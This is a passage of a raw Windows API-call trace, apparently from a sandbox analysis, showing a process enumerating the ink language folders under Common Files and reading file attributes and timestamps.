ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0232.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.366] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9003e0 [0232.367] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9003e0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9003e0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9003e0) returned 1 [0232.367] NtClose (Handle=0x1b0) returned 0x0 [0232.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.376] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.376] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff908 [0232.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fec50 [0232.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.378] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.378] GetLastError () returned 0x12 [0232.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.379] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.383] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.383] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.384] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.384] GetLastError () returned 0x12 [0232.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.386] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.387] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0232.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0232.397] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9003e0 [0232.402] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9003e0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9003e0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9003e0) returned 1 [0232.402] NtClose (Handle=0x1b4) returned 0x0 [0232.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.405] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.405] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.405] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff928 [0232.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fed58 [0232.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0232.406] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.406] GetLastError () returned 0x12 [0232.406] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.406] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0232.406] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.406] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.406] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.406] GetLastError () returned 0x12 [0232.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.406] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0232.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.406] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0232.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.407] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9003e0 [0232.407] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9003e0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9003e0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9003e0) returned 1 [0232.407] NtClose (Handle=0x1b0) returned 0x0 [0232.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0232.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0232.407] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.351] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.351] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0233.359] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.359] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff948 [0233.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fee60 [0233.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.378] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0233.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff968 [0233.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fef68 [0233.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.380] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0233.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff988 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8ff070 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff9a8 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8ff178 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 